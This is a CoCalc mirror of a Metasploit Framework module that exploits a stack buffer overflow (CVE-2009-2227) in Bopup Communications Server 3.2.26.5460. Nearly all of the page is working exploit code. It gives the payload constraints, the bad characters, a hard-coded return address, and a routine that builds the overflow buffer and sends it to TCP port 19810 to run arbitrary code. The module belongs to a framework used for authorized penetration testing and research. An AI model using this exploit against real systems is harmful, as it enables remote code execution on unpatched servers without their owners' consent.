Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/bopup_comm.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Bopup Communications Server Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
18
By sending a specially crafted packet, an attacker may be
19
able to execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
[ 'CVE', '2009-2227' ],
25
[ 'OSVDB', '55275' ],
26
[ 'URL', 'http://www.blabsoft.com/products/server' ],
27
[ 'EDB', '9002' ]
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 417,
34
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],
41
],
42
'Privileged' => true,
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2009-06-18',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(19810)
56
]
57
)
58
end
59
60
def exploit
61
connect
62
63
sploit = [0x00000001].pack('V')
64
sploit << rand_text_alpha_upper(829 - payload.encoded.length)
65
sploit << payload.encoded
66
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
67
sploit << rand_text_alpha_upper(27)
68
sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
69
sploit << [target.ret].pack('V')
70
71
print_status("Trying target #{target.name}...")
72
sock.put(sploit)
73
74
handler
75
disconnect
76
end
77
end
78
79